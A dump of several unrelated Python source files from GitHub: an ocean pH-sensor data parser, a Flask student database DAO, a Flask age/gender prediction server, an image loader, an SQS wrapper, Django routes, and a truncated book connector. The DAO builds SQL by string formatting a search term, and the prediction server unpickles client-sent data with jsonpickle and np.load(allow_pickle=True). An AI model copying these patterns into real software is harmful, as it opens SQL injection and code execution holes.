+{"seq_id":"20713595640","text":"#!/usr/bin/env python\r\n\r\n\"\"\"\r\n@package mi.dataset.parser.phsen_abcdef\r\n@file marine-integrations/mi/dataset/parser/phsen_abcdef.py\r\n@author Joseph Padula\r\n@brief Parser for the phsen_abcdef recovered dataset driver\r\nRelease notes:\r\n\r\ninitial release\r\n\"\"\"\r\n\r\n__author__ = 'Joe Padula'\r\n__license__ = 'Apache 2.0'\r\n\r\nimport copy\r\nimport re\r\nimport time\r\nfrom functools import partial\r\nfrom dateutil import parser\r\n\r\nfrom mi.core.log import get_logger\r\nlog = get_logger()\r\nfrom mi.core.common import BaseEnum\r\nfrom mi.core.instrument.data_particle import DataParticle, DataParticleKey, DataParticleValue\r\nfrom mi.core.exceptions import SampleException, DatasetParserException, UnexpectedDataException\r\nfrom mi.dataset.dataset_parser import BufferLoadingParser\r\nfrom mi.core.instrument.chunker import StringChunker\r\n\r\n# ASCII File with records separated by carriage return, newline, or carriage return - line feed\r\nNEW_LINE = r'[\\n\\r]+'\r\n\r\nRECORD_REGEX = r'.*'\r\nRECORD_REGEX += NEW_LINE\r\n\r\nRECORD_MATCHER = re.compile(RECORD_REGEX)\r\n\r\nSTART_OF_DATA_REGEX = r'^:Data'\r\nSTART_OF_DATA_MATCHER = re.compile(START_OF_DATA_REGEX)\r\n\r\n# This is an example of the input string for a PH record\r\n#   10 -> Type is pH\r\n#   3456975600 -> Time = 2013-07-18 7:00:00\r\n#   2276 -> Starting Thermistor\r\n#\r\n#   Reference Light measurements\r\n#   2955 2002 2436 2495\r\n#   2962 1998 2440 2492\r\n#   2960 2001 2440 2494\r\n#   2964 2002 2444 2496\r\n\r\n#   Light measurements\r\n#   2962 2004 2438 2496\r\n#   2960 2002 2437 2494\r\n#   ...\r\n#   2962 1585 2439 2171\r\n#   0 -> Not Used\r\n#   2857 -> Battery\r\n#   2297 -> End Thermistor\r\n#\r\n\r\nPH_REGEX = r'(10)'          # record type\r\nPH_REGEX += r'\\t(\\d+)'      # time\r\nPH_REGEX += r'\\t(\\d+)'      # starting thermistor\r\nPH_REGEX += r'\\t(\\d+\\t){16}'  # reference light measurements\r\nPH_REGEX += r'(\\d+\\t){92}'  # light measurements\r\nPH_REGEX += r'\\d+'          # unused\r\nPH_REGEX += r'\\t(\\d+)'      # battery status\r\nPH_REGEX += r'\\t(\\d+)'      # end thermistor\r\nPH_REGEX += '\\t*'\r\nPH_REGEX += NEW_LINE\r\n\r\nPH_MATCHER = re.compile(PH_REGEX)\r\n\r\nCONTROL_REGEX = r'(\\d{3})\\t'\r\nCONTROL_REGEX += r'\\d+\\t'\r\nCONTROL_REGEX += r'\\d+\\t'\r\nCONTROL_REGEX += r'\\d+\\t'\r\nCONTROL_REGEX += r'\\d+\\t'\r\nCONTROL_REGEX += r'\\d+'\r\nCONTROL_MATCHER = re.compile(CONTROL_REGEX)\r\n\r\nPH_REFERENCE_MEASUREMENTS = 16\r\nPH_LIGHT_MEASUREMENTS = 92\r\n\r\n# Control type consists of Info (128 - 191) and Error (192 - 255). Some of these are excluded\r\n# as they are a different length and are in BATTERY_CONTROL_TYPE and DATA_CONTROL_TYPE\r\nCONTROL_TYPE = [128, 129, 131, 133, 134, 135, 190, 194, 195, 196, 197, 198, 254]\r\n# Control msg with battery voltage field\r\nBATTERY_CONTROL_TYPE = [192, 193]\r\n# Control msg that may have a test data field\r\nDATA_CONTROL_TYPE = [191, 255]\r\n\r\n# Control msg with battery field\r\nBATTERY_CONTROL_MSG_NUM_FIELDS = 7\r\n# Note: control msg with test data field will have 7 fields, otherwise 6\r\nDATA_CONTROL_MSG_NUM_FIELDS = 7\r\n# Number of fields in the other control messages (not including battery or data type)\r\nCONTROL_MSG_NUM_FIELDS = 6\r\n\r\nTIMESTAMP_FIELD = 1\r\n\r\n\r\ndef time_to_unix_time(sec_since_1904):\r\n    \"\"\"\r\n    Convert between seconds since 1904 into unix time (epoch time)\r\n    @param sec_since_1904 ascii string of seconds since Jan 1 1904\r\n    @retval sec_since_1970 epoch time\r\n    \"\"\"\r\n    local_dt_1904 = parser.parse(\"1904-01-01T00:00:00.00Z\")\r\n    elapse_1904 = float(local_dt_1904.strftime(\"%s.%f\"))\r\n    sec_since_1970 = sec_since_1904 + elapse_1904 - time.timezone\r\n    return sec_since_1970\r\n\r\n\r\nclass StateKey(BaseEnum):\r\n    POSITION = 'position'  # hold the current file position\r\n    START_OF_DATA = 'start_of_data'\r\n\r\n\r\nclass DataParticleType(BaseEnum):\r\n    INSTRUMENT = 'phsen_abcdef_instrument'\r\n    METADATA = 'phsen_abcdef_metadata'\r\n\r\n\r\nclass PhsenRecoveredDataParticleKey(BaseEnum):\r\n    RECORD_TYPE = 'record_type'\r\n    RECORD_TIME = 'record_time'\r\n    VOLTAGE_BATTERY = 'voltage_battery'\r\n\r\n\r\nclass PhsenRecoveredInstrumentDataParticleKey(PhsenRecoveredDataParticleKey):\r\n    THERMISTOR_START = 'thermistor_start'\r\n    REFERENCE_LIGHT_MEASUREMENTS = 'reference_light_measurements'\r\n    LIGHT_MEASUREMENTS = 'light_measurements'\r\n    THERMISTOR_END = 'thermistor_end'\r\n\r\n\r\nclass PhsenRecoveredInstrumentDataParticle(DataParticle):\r\n    \"\"\"\r\n    Class for parsing data from the phsen_abcdef ph data set\r\n    \"\"\"\r\n\r\n    _data_particle_type = DataParticleType.INSTRUMENT\r\n\r\n    def __init__(self, raw_data,\r\n                 port_timestamp=None,\r\n                 internal_timestamp=None,\r\n                 preferred_timestamp=DataParticleKey.PORT_TIMESTAMP,\r\n                 quality_flag=DataParticleValue.OK,\r\n                 new_sequence=None):\r\n        super(PhsenRecoveredInstrumentDataParticle, self).__init__(raw_data,\r\n                                                                   port_timestamp,\r\n                                                                   internal_timestamp,\r\n                                                                   preferred_timestamp,\r\n                                                                   quality_flag,\r\n                                                                   new_sequence)\r\n\r\n        # use the timestamp from the sio header as internal timestamp\r\n        sec_since_1904 = int(self.raw_data[TIMESTAMP_FIELD])\r\n        unix_time = time_to_unix_time(sec_since_1904)\r\n        self.set_internal_timestamp(unix_time=unix_time)\r\n\r\n    def _build_parsed_values(self):\r\n        \"\"\"\r\n        Take a record in the ph data format and turn it into\r\n        a particle with the instrument tag.\r\n        @throws SampleException If there is a problem with sample creation\r\n        \"\"\"\r\n        field = 0\r\n        record_type = self.raw_data[field]\r\n\r\n        field += 1\r\n        record_time = self.raw_data[field]\r\n\r\n        field += 1\r\n        starting_thermistor = self.raw_data[field]\r\n\r\n        # Create array for reference and light measurements.\r\n        # noinspection PyUnusedLocal\r\n        reference_measurements = [0 for x in range(PH_REFERENCE_MEASUREMENTS)]\r\n        for record_set in range(0, PH_REFERENCE_MEASUREMENTS):\r\n\r\n            field += 1\r\n            # We cast to int here as _encode_value does not cast elements in the list\r\n            reference_measurements[record_set] = int(self.raw_data[field], 10)\r\n\r\n        # noinspection PyUnusedLocal\r\n        light_measurements = [0 for x in range(PH_LIGHT_MEASUREMENTS)]\r\n        for record_set in range(0, PH_LIGHT_MEASUREMENTS):\r\n\r\n            field += 1\r\n            # We cast to int here as _encode_value does not cast elements in the list\r\n            light_measurements[record_set] = int(self.raw_data[field], 10)\r\n\r\n        # Skip unused\r\n        field += 2\r\n\r\n        battery_voltage = self.raw_data[field]\r\n\r\n        field += 1\r\n        end_thermistor = self.raw_data[field]\r\n\r\n        result = [self._encode_value(PhsenRecoveredDataParticleKey.RECORD_TYPE, record_type, int),\r\n                  self._encode_value(PhsenRecoveredDataParticleKey.RECORD_TIME, record_time, int),\r\n                  self._encode_value(PhsenRecoveredInstrumentDataParticleKey.THERMISTOR_START, starting_thermistor,\r\n                                     int),\r\n                  self._encode_value(PhsenRecoveredInstrumentDataParticleKey.REFERENCE_LIGHT_MEASUREMENTS,\r\n                                     reference_measurements, list),\r\n                  self._encode_value(PhsenRecoveredInstrumentDataParticleKey.LIGHT_MEASUREMENTS, light_measurements,\r\n                                     list),\r\n                  self._encode_value(PhsenRecoveredDataParticleKey.VOLTAGE_BATTERY, battery_voltage, int),\r\n                  self._encode_value(PhsenRecoveredInstrumentDataParticleKey.THERMISTOR_END, end_thermistor, int)]\r\n        return result\r\n\r\n\r\nclass PhsenRecoveredMetadataDataParticleKey(PhsenRecoveredDataParticleKey):\r\n    CLOCK_ACTIVE = 'clock_active'\r\n    RECORDING_ACTIVE = 'recording_active'\r\n    RECORD_END_TIME = 'record_end_on_time'\r\n    RECORD_MEMORY_FULL = 'record_memory_full'\r\n    RECORD_END_ON_ERROR = 'record_end_on_error'\r\n    DATA_DOWNLOAD_OK = 'data_download_ok'\r\n    FLASH_MEMORY_OPEN = 'flash_memory_open'\r\n    BATTERY_LOW_PRESENT = 'battery_low_prestart'\r\n    BATTERY_LOW_MEASUREMENT = 'battery_low_measurement'\r\n    BATTERY_LOW_BLANK = 'battery_low_blank'\r\n    BATTERY_LOW_EXTERNAL = 'battery_low_external'\r\n    EXTERNAL_DEVICE1_FAULT = 'external_device1_fault'\r\n    EXTERNAL_DEVICE2_FAULT = 'external_device2_fault'\r\n    EXTERNAL_DEVICE3_FAULT = 'external_device3_fault'\r\n    FLASH_ERASED = 'flash_erased'\r\n    POWER_ON_INVALID = 'power_on_invalid'\r\n    NUM_DATA_RECORDS = 'num_data_records'\r\n    NUM_ERROR_RECORDS = 'num_error_records'\r\n    NUM_BYTES_STORED = 'num_bytes_stored'\r\n\r\n\r\nclass PhsenRecoveredMetadataDataParticle(DataParticle):\r\n    \"\"\"\r\n    Class for parsing data from the phsen_abcdef control data set\r\n    \"\"\"\r\n\r\n    _data_particle_type = DataParticleType.METADATA\r\n\r\n    def __init__(self, raw_data,\r\n                 port_timestamp=None,\r\n                 internal_timestamp=None,\r\n                 preferred_timestamp=DataParticleKey.PORT_TIMESTAMP,\r\n                 quality_flag=DataParticleValue.OK,\r\n                 new_sequence=None):\r\n        super(PhsenRecoveredMetadataDataParticle, self).__init__(raw_data,\r\n                                                                 port_timestamp,\r\n                                                                 internal_timestamp,\r\n                                                                 preferred_timestamp,\r\n                                                                 quality_flag,\r\n                                                                 new_sequence)\r\n\r\n        # use the timestamp from the sio header as internal timestamp\r\n        sec_since_1904 = int(self.raw_data[TIMESTAMP_FIELD])\r\n        unix_time = time_to_unix_time(sec_since_1904)\r\n        self.set_internal_timestamp(unix_time=unix_time)\r\n\r\n    def _build_parsed_values(self):\r\n        \"\"\"\r\n        Take a record in the control data format and turn it into\r\n        a particle with the metadata tag.\r\n        @throws SampleException If there is a problem with sample creation\r\n        \"\"\"\r\n\r\n        field = 0\r\n        record_type = self.raw_data[field]\r\n\r\n        field += 1\r\n        record_time = self.raw_data[field]\r\n\r\n        field += 1\r\n        # the flags are individual bits and must be encoded outside of the _encode_value function.\r\n        flags = int(self.raw_data[field], 10)\r\n\r\n        field += 1\r\n        num_data_records = self.raw_data[field]\r\n\r\n        field += 1\r\n        num_error_records = self.raw_data[field]\r\n\r\n        field += 1\r\n        num_bytes_stored = self.raw_data[field]\r\n\r\n        result = [self._encode_value(PhsenRecoveredDataParticleKey.RECORD_TYPE, record_type, int),\r\n                  self._encode_value(PhsenRecoveredDataParticleKey.RECORD_TIME, record_time, int),\r\n                  self._encode_value(PhsenRecoveredMetadataDataParticleKey.CLOCK_ACTIVE, flags & 0x1, int),\r\n                  self._encode_value(PhsenRecoveredMetadataDataParticleKey.RECORDING_ACTIVE, (flags >> 1) & 0x1, int),\r\n                  self._encode_value(PhsenRecoveredMetadataDataParticleKey.RECORD_END_TIME, (flags >> 2) & 0x1, int),\r\n                  self._encode_value(PhsenRecoveredMetadataDataParticleKey.RECORD_MEMORY_FULL, (flags >> 3) & 0x1, int),\r\n                  self._encode_value(PhsenRecoveredMetadataDataParticleKey.RECORD_END_ON_ERROR, (flags >> 4) & 0x1,\r\n                                     int),\r\n                  self._encode_value(PhsenRecoveredMetadataDataParticleKey.DATA_DOWNLOAD_OK, (flags >> 5) & 0x1, int),\r\n                  self._encode_value(PhsenRecoveredMetadataDataParticleKey.FLASH_MEMORY_OPEN, (flags >> 6) & 0x1, int),\r\n                  self._encode_value(PhsenRecoveredMetadataDataParticleKey.BATTERY_LOW_PRESENT, (flags >> 7) & 0x1,\r\n                                     int),\r\n                  self._encode_value(PhsenRecoveredMetadataDataParticleKey.BATTERY_LOW_MEASUREMENT, (flags >> 8) & 0x1,\r\n                                     int),\r\n                  self._encode_value(PhsenRecoveredMetadataDataParticleKey.BATTERY_LOW_BLANK, (flags >> 9) & 0x1, int),\r\n                  self._encode_value(PhsenRecoveredMetadataDataParticleKey.BATTERY_LOW_EXTERNAL, (flags >> 10) & 0x1,\r\n                                     int),\r\n                  self._encode_value(PhsenRecoveredMetadataDataParticleKey.EXTERNAL_DEVICE1_FAULT, (flags >> 11) & 0x1,\r\n                                     int),\r\n                  self._encode_value(PhsenRecoveredMetadataDataParticleKey.EXTERNAL_DEVICE2_FAULT, (flags >> 12) & 0x1,\r\n                                     int),\r\n                  self._encode_value(PhsenRecoveredMetadataDataParticleKey.EXTERNAL_DEVICE3_FAULT, (flags >> 13) & 0x1,\r\n                                     int),\r\n                  self._encode_value(PhsenRecoveredMetadataDataParticleKey.FLASH_ERASED, (flags >> 14) & 0x1, int),\r\n                  self._encode_value(PhsenRecoveredMetadataDataParticleKey.POWER_ON_INVALID, (flags >> 15) & 0x1, int),\r\n                  self._encode_value(PhsenRecoveredMetadataDataParticleKey.NUM_DATA_RECORDS, num_data_records, int),\r\n                  self._encode_value(PhsenRecoveredMetadataDataParticleKey.NUM_ERROR_RECORDS, num_error_records, int),\r\n                  self._encode_value(PhsenRecoveredMetadataDataParticleKey.NUM_BYTES_STORED, num_bytes_stored, int)]\r\n\r\n        record_type = int(record_type)\r\n        if record_type in BATTERY_CONTROL_TYPE:\r\n            field += 1\r\n            battery_voltage = self.raw_data[field]\r\n            temp_result = self._encode_value(PhsenRecoveredDataParticleKey.VOLTAGE_BATTERY, battery_voltage, int)\r\n            result.append(temp_result)\r\n        else:\r\n            # This will handle anything after NUM_ERROR_RECORDS, including data in type 191 and 255.\r\n            result.append({DataParticleKey.VALUE_ID: PhsenRecoveredDataParticleKey.VOLTAGE_BATTERY,\r\n                           DataParticleKey.VALUE: None})\r\n        return result\r\n\r\n\r\nclass PhsenRecoveredParser(BufferLoadingParser):\r\n\r\n    def __init__(self,\r\n                 config,\r\n                 state,\r\n                 stream_handle,\r\n                 state_callback,\r\n                 publish_callback,\r\n                 exception_callback,\r\n                 *args, **kwargs):\r\n\r\n        # noinspection PyArgumentList,PyArgumentList,PyArgumentList,PyArgumentList,PyArgumentList\r\n        super(PhsenRecoveredParser, self).__init__(config, stream_handle, state,\r\n                                                   partial(StringChunker.regex_sieve_function,\r\n                                                   regex_list=[RECORD_MATCHER]),\r\n                                                   state_callback,\r\n                                                   publish_callback,\r\n                                                   exception_callback,\r\n                                                   *args,\r\n                                                   **kwargs)\r\n\r\n        self._read_state = {StateKey.POSITION: 0, StateKey.START_OF_DATA: False}\r\n\r\n        if state:\r\n            self.set_state(self._state)\r\n\r\n    def set_state(self, state_obj):\r\n        \"\"\"\r\n        Set the value of the state object for this parser\r\n        @param state_obj The object to set the state to.\r\n        @throws DatasetParserException if there is a bad state structure\r\n        \"\"\"\r\n        if not isinstance(state_obj, dict):\r\n            raise DatasetParserException(\"Invalid state structure\")\r\n        if not ((StateKey.POSITION in state_obj)):\r\n            raise DatasetParserException(\"Missing state key %s\" % StateKey.POSITION)\r\n        if not ((StateKey.START_OF_DATA in state_obj)):\r\n            raise DatasetParserException(\"Missing state key %s\" % StateKey.START_OF_DATA)\r\n\r\n        self._record_buffer = []\r\n        self._state = state_obj\r\n        self._read_state = state_obj\r\n        self._chunker.clean_all_chunks()\r\n\r\n        # seek to the position\r\n        self._stream_handle.seek(state_obj[StateKey.POSITION])\r\n\r\n    def _increment_state(self, increment):\r\n        \"\"\"\r\n        Increment the parser state\r\n        @param increment The amount to increment the position by\r\n        \"\"\"\r\n        self._read_state[StateKey.POSITION] += increment\r\n\r\n    def parse_chunks(self):\r\n        \"\"\"\r\n        Parse out any pending data chunks in the chunker. If\r\n        it is a valid data piece, build a particle, update the position and\r\n        timestamp. Go until the chunker has no more valid data.\r\n        @retval a list of tuples with sample particles encountered in this\r\n            parsing, plus the state. An empty list of nothing was parsed.\r\n        \"\"\"\r\n        result_particles = []\r\n        (nd_timestamp, non_data, non_start, non_end) = self._chunker.get_next_non_data_with_index(clean=False)\r\n        (timestamp, chunk, start, end) = self._chunker.get_next_data_with_index(clean=True)\r\n        self.handle_non_data(non_data, non_end, start)\r\n\r\n        while chunk is not None:\r\n\r\n            log.info(\"Chunk: ****%s****\", chunk)\r\n\r\n            self._increment_state(len(chunk))\r\n            if not self._read_state[StateKey.START_OF_DATA]:\r\n\r\n                log.info(\"In if not self._read_state[StateKey.START_OF_DATA]\")\r\n\r\n                start_of_data = START_OF_DATA_MATCHER.match(chunk)\r\n                if start_of_data:\r\n                    self._read_state[StateKey.START_OF_DATA] = True\r\n            else:\r\n\r\n                # if this chunk is a data match process it, otherwise it is a metadata record which is ignored\r\n                ph_match = PH_MATCHER.match(chunk)\r\n                control_match = CONTROL_MATCHER.match(chunk)\r\n\r\n                if ph_match:\r\n                    fields = chunk.split()\r\n\r\n                    # particle-ize the data block received, return the record\r\n                    sample = self._extract_sample(PhsenRecoveredInstrumentDataParticle,\r\n                                                  None, fields, None)\r\n\r\n                    if sample:\r\n                        # create particle\r\n                        result_particles.append((sample, copy.copy(self._read_state)))\r\n\r\n                elif control_match:\r\n                    record_type = int(control_match.group(1), 10)\r\n                    fields = chunk.split()\r\n                    if record_type in CONTROL_TYPE or record_type in BATTERY_CONTROL_TYPE \\\r\n                            or record_type in DATA_CONTROL_TYPE:\r\n                        # Check the length of the battery control messages first.\r\n                        if record_type in BATTERY_CONTROL_TYPE and len(fields) != BATTERY_CONTROL_MSG_NUM_FIELDS:\r\n                                error_str = 'Unexpected num of fields (%d) for control record type (battery) %d'\r\n                                log.warn(error_str, len(fields), record_type)\r\n                                self._exception_callback(SampleException(error_str % (len(fields), record_type)))\r\n\r\n                        # DATA_CONTROL_TYPE messages may or may not have a data field\r\n                        elif record_type in DATA_CONTROL_TYPE and \\\r\n                                (len(fields) != DATA_CONTROL_MSG_NUM_FIELDS) and \\\r\n                                (len(fields) != DATA_CONTROL_MSG_NUM_FIELDS-1):\r\n                                error_str = 'Unexpected num of fields (%d) for control record type (data) %d'\r\n                                log.warn(error_str, len(fields), record_type)\r\n                                self._exception_callback(SampleException(error_str % (len(fields), record_type)))\r\n\r\n                        elif record_type in CONTROL_TYPE and len(fields) != CONTROL_MSG_NUM_FIELDS:\r\n                            error_str = 'Unexpected number of fields (%d) for control record type %d'\r\n                            log.warn(error_str, len(fields), record_type)\r\n                            self._exception_callback(SampleException(error_str % (len(fields), record_type)))\r\n\r\n                        else:\r\n                            # particle-ize the data block received, return the record\r\n                            sample = self._extract_sample(PhsenRecoveredMetadataDataParticle,\r\n                                                          None, fields, None)\r\n\r\n                            if sample:\r\n                                # create particle\r\n                                result_particles.append((sample, copy.copy(self._read_state)))\r\n                    else:\r\n                        # Matched by REGEX but not a supported control type\r\n                        error_str = 'Invalid Record Type %d'\r\n                        log.warn(error_str, record_type)\r\n                        self._exception_callback(SampleException(error_str % record_type))\r\n                else:\r\n                    # Non-PH or non-Control type or REGEX not matching PH/Control record\r\n                    error_str = 'REGEX does not match PH or Control record %s'\r\n                    log.warn(error_str, chunk)\r\n                    self._exception_callback(SampleException(error_str % chunk))\r\n\r\n            (nd_timestamp, non_data, non_start, non_end) = self._chunker.get_next_non_data_with_index(clean=False)\r\n            (timestamp, chunk, start, end) = self._chunker.get_next_data_with_index(clean=True)\r\n            self.handle_non_data(non_data, non_end, start)\r\n\r\n        return result_particles\r\n\r\n    def handle_non_data(self, non_data, non_end, start):\r\n        \"\"\"\r\n        handle data in the non_data chunker queue\r\n        @param non_data data in the non data chunker queue\r\n        @param non_end ending index of the non_data chunk\r\n        @param start start index of the next data chunk\r\n        \"\"\"\r\n        # we can get non_data after our current chunk, check that this chunk is before that chunk\r\n        if non_data is not None and non_end <= start:\r\n            log.error(\"Found %d bytes of unexpected non-data:%s\", len(non_data), non_data)\r\n            self._exception_callback(UnexpectedDataException(\"Found %d bytes of un-expected non-data:%s\" %\r\n                                                            (len(non_data), non_data)))\r\n            self._increment_state(len(non_data))\r\n","repo_name":"ooici/marine-integrations","sub_path":"mi/dataset/parser/phsen_abcdef.py","file_name":"phsen_abcdef.py","file_ext":"py","file_size_in_byte":22382,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"47"}
+{"seq_id":"2096051924","text":"from flask import Response\r\n\r\nfrom database.connect import ConnectDataBase\r\nfrom modulos.aluno.modelo import Aluno\r\nfrom modulos.aluno.sql import SQLAluno\r\n\r\nclass DaoAluno():\r\n    def __init__(self):\r\n        self.connect = ConnectDataBase().getInstance()\r\n\r\n    def get_alunos(self, busca=None):\r\n        cursor = self.connect.cursor()\r\n        sql = SQLAluno._SELECT_BUSCA.format(SQLAluno._NOME_TABELA,busca) if busca else SQLAluno._SELECT_ALL\r\n\r\n        cursor.execute(sql)\r\n        alunos = []\r\n        columns_name = [desc[0] for desc in cursor.description]\r\n        for aluno in cursor.fetchall():\r\n            data = dict(zip(columns_name, aluno))\r\n            alunos.append(Aluno(**data).get_json())\r\n        return alunos\r\n    \r\n    def salvar(self, aluno):\r\n        cursor = self.connect.cursor()\r\n        cursor.execute(SQLAluno._SCRIPT_INSERT, (aluno.matricula, aluno.nome, aluno.genero, aluno.endereco, aluno.telefone))\r\n        self.connect.commit()\r\n        id = cursor.fetchone()[0]\r\n        aluno.id = id\r\n        return aluno\r\n    \r\n    def get_by_id(self, id):\r\n        cursor = self.connect.cursor()\r\n        cursor.execute(SQLAluno._SELECT_ID, (str(id)))\r\n        aluno = cursor.fetchone()\r\n        if not aluno:\r\n            return None\r\n        columns_name = [desc[0] for desc in cursor.description]\r\n        data = dict(zip(columns_name,aluno))\r\n        return Aluno(**data)\r\n    \r\n    def atualizar(self, aluno):\r\n        cursor = self.connect.cursor()\r\n        cursor.execute(SQLAluno._UPDATE_BY_ID, aluno.matricula, aluno.nome, aluno.genero, aluno.endereco. aluno.telefone)\r\n        self.connect.commit()\r\n        return True","repo_name":"joaolucasgomesnog/projetofbd","sub_path":"modulos/aluno/dao.py","file_name":"dao.py","file_ext":"py","file_size_in_byte":1654,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
+{"seq_id":"33049986693","text":"import io\nimport logging\n\nimport jsonpickle\nimport numpy as np\nimport torch\nfrom flask import Flask, request\nfrom tqdm import tqdm\n\nfrom model.model import ResMLP\nfrom utils import enable_dropout, forward_mc, read_json\n\nlogging.basicConfig(\n    level=logging.DEBUG,\n    format=\"%(asctime)s.%(msecs)03d %(levelname)s %(module)s - %(funcName)s: %(message)s\",\n    datefmt=\"%Y-%m-%d %H:%M:%S\",\n)\n\n# a light-weight flask app\napp = Flask(__name__)\n\nmodels = {\"age\": None, \"gender\": None}\n\ndevice = \"cpu\"\nif torch.cuda.is_available():\n    device = \"cuda:0\"\n\nfor model_ in [\"age\", \"gender\"]:\n    model = ResMLP(**read_json(f\"./models/{model_}.json\")[\"arch\"][\"args\"])\n    checkpoint = f\"models/{model_}.pth\"\n    checkpoint = torch.load(checkpoint, map_location=torch.device(device))\n    state_dict = checkpoint[\"state_dict\"]\n    model.load_state_dict(state_dict)\n    model.to(device)\n    model.eval()\n    enable_dropout(model)\n\n    models[model_] = model\n\n# One endpoint is enough.\n\n\n@app.route(\"/\", methods=[\"POST\"])\ndef predict_age_gender():\n    \"\"\"Receive everything in json!!!\"\"\"\n    app.logger.debug(f\"Receiving data ...\")\n    data = request.json\n    data = jsonpickle.decode(data)\n\n    app.logger.debug(f\"loading embeddings ...\")\n    embeddings = data[\"embeddings\"]\n    embeddings = io.BytesIO(embeddings)\n\n    # This assumes that the client has serialized the embeddings with pickle.\n    # before sending it to the server.\n    embeddings = np.load(embeddings, allow_pickle=True)\n\n    # -1 accounts for the batch size.\n    embeddings = embeddings.reshape(-1, 512).astype(np.float32)\n\n    app.logger.debug(f\"extracting gender and age from {embeddings.shape[0]} faces ...\")\n\n    genders = []\n    ages = []\n\n    for embedding in tqdm(embeddings):\n        embedding = embedding.reshape(1, 512)\n        gender_mean, gender_entropy = forward_mc(models[\"gender\"], embedding)\n        age_mean, age_entropy = forward_mc(models[\"age\"], embedding)\n        gender = {\"m\": 1 - gender_mean, \"f\": gender_mean, \"entropy\": gender_entropy}\n        age = {\"mean\": age_mean, \"entropy\": age_entropy}\n\n        genders.append(gender)\n        ages.append(age)\n\n    app.logger.debug(f\"gender and age extracted!\")\n\n    response = {\"ages\": ages, \"genders\": genders}\n\n    response_pickled = jsonpickle.encode(response)\n    app.logger.info(\"json-pickle is done.\")\n\n    return response_pickled\n\n\nif __name__ == \"__main__\":\n\n    app.run(host=\"0.0.0.0\", port=10003)\n","repo_name":"tae898/age-gender","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2431,"program_lang":"python","lang":"en","doc_type":"code","stars":66,"dataset":"github-code","pt":"47"}
+{"seq_id":"2216232972","text":"from typing import Tuple\nimport os\n\nfrom PIL import Image\n\n\nclass LazyImage:\n    '''\n    Class representing an image lying on disk rather than in memory\n    '''\n\n    def __init__(self, path: str, crop_size: Tuple[int]=None, target_size: Tuple[int]=None):\n        '''\n\n        :param path: path where the image resides on disk\n        :param crop_size: (left_index, upper_index, right_index, lower_index) size of the crop to take before resizing\n        :param target_size: (width, height) desired size of the image after retrieval\n        '''\n\n        if not os.path.isfile(path):\n            raise Exception(f'{path} does not exist')\n\n        self.path = path\n        self.crop_size = crop_size\n        self.target_size = target_size\n\n    def get_image(self) -> Image:\n        '''\n        Gets the image from disk\n        :return:\n        '''\n\n        image = Image.open(self.path)\n\n        # Crops the image\n        if self.crop_size is not None:\n            image = image.crop(self.crop_size)\n\n        # Resizes the image if the target size differs from the current one\n        original_width, original_height = image.size\n        if self.target_size is not None and (original_width != self.target_size[0] or original_height != self.target_size[1]):\n            image = image.resize(self.target_size, Image.BICUBIC)\n\n        return image","repo_name":"willi-menapace/PlayableEnvironments","sub_path":"dataset/lazy_image.py","file_name":"lazy_image.py","file_ext":"py","file_size_in_byte":1340,"program_lang":"python","lang":"en","doc_type":"code","stars":71,"dataset":"github-code","pt":"47"}
+{"seq_id":"289568974","text":"import boto3\nfrom botocore.exceptions import ClientError\n\nimport json\n\nfrom Config import settings\n\nqueue = None\n\nclass SQSWrapper:\n    def __init__(self, lang) -> None:\n        if lang == \"en\":\n            sqs_name = settings[\"EN_SQS_NAME\"]\n        else:\n            sqs_name = settings[\"AR_SQS_NAME\"]\n            \n        sqs = boto3.resource('sqs',\n                    aws_access_key_id = settings[\"AWS_ACCESS_KEY_ID\"],\n                    aws_secret_access_key = settings[\"AWS_SECRET_ACCESS_KEY\"],\n                    region_name = settings[\"AWS_REGION\"]\n                    )\n\n        self.queue = sqs.get_queue_by_name(QueueName=sqs_name)\n\n    def write_message(self, message):\n        pass\n\n    def write_bulk_messages(self, messages):\n\n        for start_idx in range(0, len(messages), 10):\n            self.queue.send_messages(QueueUrl=self.queue.url,\n                                        Entries=[{\"Id\": str(x[\"sku\"]),\"MessageBody\": json.dumps(x) } for x in messages[start_idx:start_idx+10]])","repo_name":"daliaMarzouk90/product_preparing_lambda","sub_path":"QueuingWrapper/queuing_wrapper.py","file_name":"queuing_wrapper.py","file_ext":"py","file_size_in_byte":1004,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
+{"seq_id":"6866998188","text":"from django.conf.urls import url\n\nfrom . import views\n\nurlpatterns = [\n    url(r'^$', views.index, name='index'),\n    url(r'^validuser/$', views.validuser, name='validuser'),\n    url(r'^expireduser/$', views.expireduser, name='expireduser'),\n    url(r'^(?P<account_id>[0-9]+)/(?P<valid_days>[0-9]+)/(?P<data_left>[-]?[0-9]+\\.[0-9]+)/(?P<is_deleted>[A-Z]+)/updateuserinfo$', views.updateuserinfo, name='updateuserinfo'),\n]\n","repo_name":"shenshengkafei/ufunr-apn","sub_path":"ufunr/console/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":422,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
+{"seq_id":"8536729603","text":"from connectors.generic import *\nfrom connectors.Tools import notFilterableConnector\nfrom sqlwrapper import *\nfrom connectors.generic import GenericBook\nfrom utils.compatibility import json\nimport urllib2\nimport os\nimport hashlib\n\nBase = SqlWrapper.getBaseClass()\n\n@notFilterableConnector\nclass WolneLektury(JSONConnector):\n    supported_formats = ['xml', 'fb2', 'mobi', 'pdf', 'txt', 'epub']\n\n    tag_dict = {\n        'title' : ('title', ''),\n        'url' :  ('url', ''),\n        'cover' : ('cover', ''),\n        'cover_thumb': ('thumbnail', ''),\n        'author': ('authors', ''),\n\n        #'xml': ('xml', ''),\n        #'fb2': ('fb2', ''),\n        'mobi': ('mobi', ''),\n        'pdf': ('pdf', ''),\n        #'txt': ('txt', ''),\n        'epub': ('epub', ''),\n     }\n\n    def get_book_name_from_url(self, book_url):\n        (filename, ext) = os.path.split(self.filename)\n        book_path = urllib2.urlparse.urlparse(book_url).path\n        if book_path.endswith('/'):\n            book_path = book_path[:-1]\n        return os.path.split(book_path)[1]\n\n\n    def _fetch_full_book_file(self, book):\n        book_url = book[u'href']\n        book_name = self.get_book_name_from_url(book_url)\n        filename = '%s_%s' % (self.filename, book_name)\n        full_filepath = self.downloadFile(book_url, filename)\n        return 